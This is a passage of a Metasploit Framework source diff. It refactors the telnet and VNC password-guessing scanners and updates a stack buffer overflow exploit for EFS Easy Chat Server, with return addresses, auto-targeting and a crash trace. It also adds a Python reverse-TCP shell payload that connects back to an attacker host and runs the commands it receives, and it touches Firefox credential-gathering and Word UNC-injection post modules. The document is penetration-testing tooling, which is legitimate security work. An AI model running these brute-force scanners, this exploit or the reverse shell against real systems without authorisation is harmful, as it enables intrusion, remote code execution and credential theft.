cert if @cert.nil? + #vprint_debug("Got certificate: #{cert.to_text}") + vprint_debug("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}") + already_read = already_read + single_cert_len + 3 + end + + # TODO: return hash with data + true + end + +end diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index 9a86ba1370..99f2b81461 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -4,6 +4,9 @@ ## require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/telnet' + class Metasploit3 < Msf::Auxiliary @@ -33,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST') register_advanced_options( [ - OptInt.new('TIMEOUT', [ true, 'Default timeout for telnet connections. The greatest value of TelnetTimeout, TelnetBannerTimeout, or this option will be used as an overall timeout.', 0]) + OptInt.new('TIMEOUT', [ true, 'Default timeout for telnet connections.', 25]) ], self.class ) @@ -44,190 +47,74 @@ class Metasploit3 < Msf::Auxiliary attr_accessor :password_only def run_host(ip) - overall_timeout ||= [ - datastore['TIMEOUT'].to_i, - datastore['TelnetBannerTimeout'].to_i, - datastore['TelnetTimeout'].to_i - ].max - - # Check for a password-only prompt for this machine. - self.password_only = [] - if connect_reset_safe == :connected - @strip_usernames = true if password_prompt? - self.sock.close - end - - begin - each_user_pass do |user, pass| - Timeout.timeout(overall_timeout) do - res = try_user_pass(user, pass) - start_telnet_session(rhost,rport,user,pass) if res == :next_user - end - end - rescue ::Rex::ConnectionError, ::EOFError, ::Timeout::Error - return - end - end - - def try_user_pass(user, pass) - vprint_status "#{rhost}:#{rport} Telnet - Attempting: '#{user}':'#{pass}'" - this_attempt ||= 0 - ret = nil - while this_attempt <=3 and (ret.nil? or ret == :refused) - if this_attempt > 0 - select(nil,nil,nil,2**this_attempt) - vprint_error "#{rhost}:#{rport} Telnet - Retrying '#{user}':'#{pass}' due to reset" - end - ret = do_login(user,pass) - this_attempt += 1 - end - case ret - when :no_auth_required - print_good "#{rhost}:#{rport} Telnet - No authentication required!" - report_telnet('','',@trace) - return :abort - when :no_pass_prompt - vprint_status "#{rhost}:#{rport} Telnet - Skipping '#{user}' due to missing password prompt" - return :skip_user - when :timeout - vprint_status "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to timeout" - when :busy - vprint_error "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to busy state" - when :refused - vprint_error "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to connection refused." - when :skip_user - vprint_status "#{rhost}:#{rport} Telnet - Skipping disallowed user '#{user}' for subsequent requests" - return :skip_user - when :success - unless user == user.downcase - case_ret = do_login(user.downcase,pass) - if case_ret == :success - user= user.downcase - print_status("Username #{user} is case insensitive") - end - end - report_telnet(user,pass,@trace) - return :next_user - end - end - - # Sometimes telnet servers start RSTing if you get them angry. - # This is a short term fix; the problem is that we don't know - # if it's going to reset forever, or just this time, or randomly. - # A better solution is to get the socket connect to try again - # with a little backoff. - def connect_reset_safe - begin - connect - rescue Rex::ConnectionRefused - return :refused - end - return :connected - end - - # Making this serial since the @attempts counting business is causing - # all kinds of syncing problems. - def do_login(user,pass) - - return :refused if connect_reset_safe == :refused - - begin - - vprint_status("#{rhost}:#{rport} Banner: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - - if busy_message? - self.sock.close unless self.sock.closed? - return :busy - end - - if login_succeeded? - return :no_auth_required - end - - # Immediate password prompt... try our password! - if password_prompt? - user = '' - - if password_only.include?(pass) - print_status("#{rhost}:#{rport} - Telnet - skipping already tried password '#{pass}'") - return :tried - end - - print_status("#{rhost}:#{rport} - Telnet - trying password only authentication with password '#{pass}'") - password_only << pass - else - send_user(user) - end - - recvd_sample = @recvd.dup - # Allow for slow echos - 1.upto(10) do - recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/] - end - - vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - - if password_prompt?(user) - send_pass(pass) - - # Allow for slow echos - 1.upto(10) do - recv_telnet(self.sock, 0.10) if @recvd == recvd_sample - end - - - vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - - if login_succeeded? - return :success - else - self.sock.close unless self.sock.closed? - if @recvd =~ /Not on system console/ # Solaris8, user is not allowed - return :skip_user - else - return :fail - end - end - else - if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/ - report_telnet(user,pass,@trace) - return :no_pass_required - else - self.sock.close unless self.sock.closed? - return :no_pass_prompt - end - end - - rescue ::Interrupt - self.sock.close unless self.sock.closed? - raise $! - rescue ::Exception => e - if e.to_s == "execution expired" - self.sock.close unless self.sock.closed? - return :timeout - else - self.sock.close unless self.sock.closed? - print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}") - end - end - - end - - def report_telnet(user, pass, proof) - print_good("#{rhost} - SUCCESSFUL LOGIN #{user} : #{pass}") - report_auth_info( - :host => rhost, - :port => datastore['RPORT'], - :sname => 'telnet', - :user => user, - :pass => pass, - :proof => proof, - :source_type => "user_supplied", - :active => true + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], ) + + scanner = Metasploit::Framework::LoginScanner::Telnet.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: datastore['Timeout'], + banner_timeout: datastore['TelnetBannerTimeout'], + telnet_timeout: datastore['TelnetTimeout'] + ) + + service_data = { + address: ip, + port: rport, + service_name: 'telnet', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + scanner.scan! do |result| + if result.success? + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public + } + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Credential::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + + create_credential_login(login_data) + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner) + else + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: nil, + realm_value: nil, + status: result.status) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end + end end - def start_telnet_session(host, port, user, pass) + def start_telnet_session(host, port, user, pass, scanner) print_status "Attempting to start session #{host}:#{port} with #{user}:#{pass}" merge_me = { 'USERPASS_FILE' => nil, @@ -237,7 +124,7 @@ class Metasploit3 < Msf::Auxiliary 'PASSWORD' => pass } - start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true) + start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true, scanner.sock) end end diff --git a/modules/auxiliary/scanner/vnc/vnc_login.rb b/modules/auxiliary/scanner/vnc/vnc_login.rb index 1340702f4f..3437131fb3 100644 --- a/modules/auxiliary/scanner/vnc/vnc_login.rb +++ b/modules/auxiliary/scanner/vnc/vnc_login.rb @@ -5,6 +5,8 @@ require 'msf/core' require 'rex/proto/rfb' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/vnc' class Metasploit3 < Msf::Auxiliary @@ -56,82 +58,68 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) print_status("#{ip}:#{rport} - Starting VNC login sweep") - begin - each_user_pass { |user, pass| - ret = nil - attempts = 5 - attempts.times { |n| - ret = do_login(user, pass) - break if ret != :retry + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) - delay = (2**(n+1)) + 1 - vprint_status("Retrying in #{delay} seconds...") - select(nil, nil, nil, delay) + scanner = Metasploit::Framework::LoginScanner::VNC.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: datastore['ConnectTimeout'] + ) + + service_data = { + address: ip, + port: rport, + service_name: 'vnc', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + scanner.scan! do |result| + if result.success? + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, } - # If we tried all these attempts, and we still got a retry condition, - # we'll just give up.. Must be that nasty blacklist algorithm kicking - # our butt. - return :abort if ret == :retry - ret - } - rescue ::Rex::ConnectionError - nil - end - end + credential_data.merge!(service_data) - def do_login(user, pass) - vprint_status("#{target_host}:#{rport} - Attempting VNC login with password '#{pass}'") + credential_core = create_credential(credential_data) - connect + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Credential::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) - begin - vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false) - if not vnc.handshake - vprint_error("#{target_host}:#{rport}, #{vnc.error}") - return :abort + create_credential_login(login_data) + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: nil, + private: result.credential.private, + realm_key: nil, + realm_value: nil, + status: result.status) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end - - ver = "#{vnc.majver}.#{vnc.minver}" - vprint_status("#{target_host}:#{rport}, VNC server protocol version : #{ver}") - report_service( - :host => rhost, - :port => rport, - :proto => 'tcp', - :name => 'vnc', - :info => "VNC protocol version #{ver}" - ) - - if not vnc.authenticate(pass) - vprint_error("#{target_host}:#{rport}, #{vnc.error}") - return :retry if vnc.error =~ /connection has been rejected/ # UltraVNC - return :retry if vnc.error =~ /Too many security failures/ # vnc4server - return :fail - end - - print_good("#{target_host}:#{rport}, VNC server password : \"#{pass}\"") - - access_type = "password" - #access_type = "view-only password" if vnc.view_only_mode - report_auth_info({ - :host => rhost, - :port => rport, - :sname => 'vnc', - :pass => pass, - :type => access_type, - :duplicate_ok => true, - :source_type => "user_supplied", - :active => true - }) - return :next_user - - # For debugging only. - #rescue ::Exception - # raise $! - # print_error("#{$!}") - - ensure - disconnect() end + end end diff --git a/modules/exploits/windows/http/efs_easychatserver_username.rb b/modules/exploits/windows/http/efs_easychatserver_username.rb index 87876ae500..9e42b8ec78 100644 --- a/modules/exploits/windows/http/efs_easychatserver_username.rb +++ b/modules/exploits/windows/http/efs_easychatserver_username.rb @@ -17,78 +17,151 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow', 'Description' => %q{ - This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By - sending a overly long authentication request, an attacker may be able to execute - arbitrary code. - - NOTE: The offset to SEH is influenced by the installation path of the program. - The path, which defaults to "C:\Program Files\Easy Chat Server", is concatentated - with "\users\" and the string passed as the username HTTP paramter. + This module exploits a stack buffer overflow in EFS Software Easy Chat + Server versions 2.0 to 3.1. By sending an overly long authentication + request, an attacker may be able to execute arbitrary code. }, - 'Author' => [ 'LSO ' ], + 'Author' => + [ + 'LSO ', # original metasploit + 'Brendan Coles ' # metasploit + ], 'License' => BSD_LICENSE, 'References' => [ - [ 'CVE', '2004-2466' ], + [ 'CVE', '2004-2466' ], [ 'OSVDB', '7416' ], - [ 'BID', '25328' ], + [ 'OSVDB', '106841' ], + [ 'BID', '25328' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Privileged' => true, + 'Privileged' => false, 'Payload' => { - 'Space' => 500, - 'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c", + 'Space' => 7000, + 'BadChars' => "\x00\x0a\x0b\x0d\x0f\x20\x25\x26", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ - [ 'Easy Chat Server 2.5', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k + # Tested on Easy Chat Server v2.0, 2.1, 2.2, 2.5, 3.1 on: + # -- Windows XP SP 3 (x86) (EN) + # -- Windows 7 SP 1 (x64) (EN) + # -- Windows 8 SP 0 (x64) (EN) + [ 'Automatic Targeting', { 'auto' => true } ], + # p/p/r SSLEAY32.dll + [ 'Easy Chat Server 2.0', { 'Ret' => 0x10010E2E } ], + # p/p/r SSLEAY32.dll + [ 'Easy Chat Server 2.1 - 3.1', { 'Ret' => 0x1001071E } ] ], 'DisclosureDate' => 'Aug 14 2007', 'DefaultTarget' => 0)) - - register_options( - [ - OptString.new('PATH', [ true, "Installation path of Easy Chat Server", - "C:\\Program Files\\Easy Chat Server" ]) - ], self.class ) end def check - info = http_fingerprint # check method - # NOTE: Version 2.5 still reports "1.0" in the "Server" header - if (info =~ /Easy Chat Server\/1\.0/) - return Exploit::CheckCode::Appears + version = get_version + if not version + return Exploit::CheckCode::Safe + end + vprint_status "#{peer} - Found version: #{version}" + if version !~ /^(2\.\d|3\.0|3\.1)$/ + return Exploit::CheckCode::Safe + end + path = get_install_path + if not path + return Exploit::CheckCode::Detected + end + vprint_status "#{peer} - Found path: #{path}" + return Exploit::CheckCode::Appears + end + + # + # Get software version from change log + # + def get_version + res = send_request_raw 'uri' => '/whatsnew.txt' + if res and res.body =~ /What's new in Easy Chat Server V(\d\.\d)/ + return "#{$1}" + end + end + + # + # Get software installation path from uninstall file + # + def get_install_path + res = send_request_raw 'uri' => '/unins000.dat' + if res and res.body =~ /([A-Z]:\\[^\x00]{2,256})?\\[a-z]+\.htm/i + return "#{$1}" end - Exploit::CheckCode::Safe end def exploit - # randomize some values. - val = rand_text_alpha(rand(10) + 1) - num = rand_text_numeric(1) - path = datastore['PATH'] + "\\users\\" - print_status("path: " + path) + # get target + if target.name =~ /Automatic/ + version = get_version + vprint_status "#{peer} - Found version: #{version}" if version + if not version or version !~ /^(2\.\d|3\.0|3\.1)$/ + fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target") + elsif version =~ /(2\.0)/ + my_target = targets[1] + elsif version =~ /(2\.\d|3\.0|3\.1)/ + my_target = targets[2] + end + else + my_target = target + end - # exploit buffer. - filler = rand_text_alpha(256 - path.length) - seh = generate_seh_payload(target.ret) - juju = filler + seh + # get install path + path = get_install_path + if not path + fail_with(Failure::UnexpectedReply, "#{peer} - Could not retrieve install path") + end + path << "\\users\\" + vprint_status "#{peer} - Using path: #{path}" - uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#sex=#{num}" + # send payload + sploit = rand_text_alpha(256 - path.length) + sploit << generate_seh_payload(my_target.ret) + print_status "#{peer} - Sending request (#{sploit.length} bytes) to target (#{my_target.name})" + send_request_cgi({ + 'uri' => '/chat.ghp', + 'encode_params' => false, + 'vars_get' => { + 'username' => sploit, + 'password' => rand_text_alphanumeric(rand(10) + 1), + 'room' => 1, + 'sex' => rand_text_numeric(1) + } + }, 5) - print_status("Trying target #{target.name}...") - - send_request_raw({'uri' => uri}, 5) - - handler - disconnect end end + +=begin + +0x004144C8 calls sprintf with the following arguments: +sprintf(&FileName, "%susers\\%s", path, username); + +Since we can make the username larger than the allocated buffer size +we end up overwriting SEH with a PPR from SSLEAY32.dll and nSEH with +a short jmp to the beginning of our shellcode. + +(46c.144): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=ffffffff ebx=000007f6 ecx=0047fd50 edx=41414141 esi=000007ef edi=0047a3ea +eip=00445f34 esp=01216b88 ebp=01216ba0 iopl=0 nv up ei pl nz na po nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 +EasyChat+0x45f34: +00445f34 8a02 mov al,byte ptr [edx] ds:0023:41414141=?? + +0:005> !exchain +01216dd8: 41414141 +Invalid exception stack at 41414141 +=end diff --git a/modules/payloads/singles/python/shell_reverse_tcp.rb b/modules/payloads/singles/python/shell_reverse_tcp.rb new file mode 100644 index 0000000000..2c703f9a25 --- /dev/null +++ b/modules/payloads/singles/python/shell_reverse_tcp.rb @@ -0,0 +1,68 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Command Shell, Reverse TCP (via python)', + 'Description' => 'Creates an interactive shell via python, encodes with base64 by design. Compat with 2.3.3', + 'Author' => 'Ben Campbell', # Based on RageLtMan's reverse_ssl + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'python', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = '' + dead = Rex::Text.rand_text_alpha(2) + # Set up the socket + cmd << "import socket,os\n" + cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" + cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n" + # The actual IO + cmd << "#{dead}=False\n" + cmd << "while not #{dead}:\n" + cmd << "\tdata=so.recv(1024)\n" + cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n" + cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n" + cmd << "\tstdout_value=stdout.read()+stderr.read()\n" + cmd << "\tso.send(stdout_value)\n" + + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" + + cmd + end + +end + diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb index 7601be09ea..652d094a5c 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -15,12 +15,12 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', + 'Name' => 'Command Shell, Reverse TCP SSL (via python)', 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', 'Author' => 'RageLtMan', 'License' => BSD_LICENSE, 'Platform' => 'python', - 'Arch' => ARCH_CMD, + 'Arch' => ARCH_PYTHON, 'Handler' => Msf::Handler::ReverseTcpSsl, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'python', @@ -36,8 +36,7 @@ module Metasploit3 # Constructs the payload # def generate - vprint_good(command_string) - return super + command_string + super + command_string end # @@ -60,11 +59,10 @@ module Metasploit3 cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" cmd += "\ts.send(stdout_value)\n" - # The *nix shell wrapper to keep things clean # Base64 encoding is required in order to handle Python's formatting requirements in the while loop cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" - return cmd + cmd end - end + diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 0b39193458..76b090602a 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -3,10 +3,24 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +# +# Standard Library +# + +require 'tmpdir' + +# +# Gems +# + +require 'zip' + +# +# Project +# + require 'msf/core' require 'rex' -require 'zip/zip' -require 'tmpdir' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post @@ -104,10 +118,10 @@ class Metasploit3 < Msf::Post begin # automatically commits the changes made to the zip archive when # the block terminates - Zip::ZipFile.open(tmp) do |zip_file| + Zip::File.open(tmp) do |zip_file| res = modify_omnija(zip_file) end - rescue Zip::ZipError => e + rescue Zip::Error => e print_error("Error modifying #{new_file}") return end diff --git a/modules/post/windows/gather/word_unc_injector.rb b/modules/post/windows/gather/word_unc_injector.rb index 45e976e925..9e657f8f1c 100644 --- a/modules/post/windows/gather/word_unc_injector.rb +++ b/modules/post/windows/gather/word_unc_injector.rb @@ -3,9 +3,20 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +# +# Gems +# + +# for extracting files +require 'zip' + +# +# Project +# + require 'msf/core' -require 'zip/zip' #for extracting files -require 'rex/zip' #for creating files +# for creating files +require 'rex/zip' class Metasploit3 < Msf::Post @@ -109,17 +120,17 @@ class Metasploit3 < Msf::Post end #RubyZip sometimes corrupts the document when manipulating inside a - #compressed document, so we extract it with Zip::ZipFile into memory + #compressed document, so we extract it with Zip::File into memory def unzip_docx(zipfile) vprint_status("Extracting #{datastore['FILE']} into memory.") zip_data = Hash.new begin - Zip::ZipFile.open(zipfile) do |filezip| + Zip::File.open(zipfile) do |filezip| filezip.each do |entry| zip_data[entry.name] = filezip.read(entry) end end - rescue Zip::ZipError => e + rescue Zip::Error => e print_error("Error extracting #{datastore['FILE']} please verify it is a valid .docx document.") return nil end diff --git a/spec/lib/metasploit/framework/credential_collection_spec.rb b/spec/lib/metasploit/framework/credential_collection_spec.rb index fe2f3a861d..4e8f80ee0c 100644 --- a/spec/lib/metasploit/framework/credential_collection_spec.rb +++ b/spec/lib/metasploit/framework/credential_collection_spec.rb @@ -3,22 +3,23 @@ require 'metasploit/framework/credential_collection' describe Metasploit::Framework::CredentialCollection do - describe "#each" do - subject(:collection) do - described_class.new( - username: username, - password: password, - user_file: user_file, - pass_file: pass_file, - userpass_file: userpass_file, - ) - end + subject(:collection) do + described_class.new( + username: username, + password: password, + user_file: user_file, + pass_file: pass_file, + userpass_file: userpass_file, + ) + end - let(:username) { "user" } - let(:password) { "pass" } - let(:user_file) { nil } - let(:pass_file) { nil } - let(:userpass_file) { nil } + let(:username) { "user" } + let(:password) { "pass" } + let(:user_file) { nil } + let(:pass_file) { nil } + let(:userpass_file) { nil } + + describe "#each" do specify do expect { |b| collection.each(&b) }.to yield_with_args(Metasploit::Framework::Credential) @@ -82,4 +83,15 @@ describe Metasploit::Framework::CredentialCollection do end + describe "#prepend_cred" do + specify do + prep = Metasploit::Framework::Credential.new(public: "foo", private: "bar") + collection.prepend_cred(prep) + expect { |b| collection.each(&b) }.to yield_successive_args( + prep, + Metasploit::Framework::Credential.new(public: username, private: password), + ) + end + end + end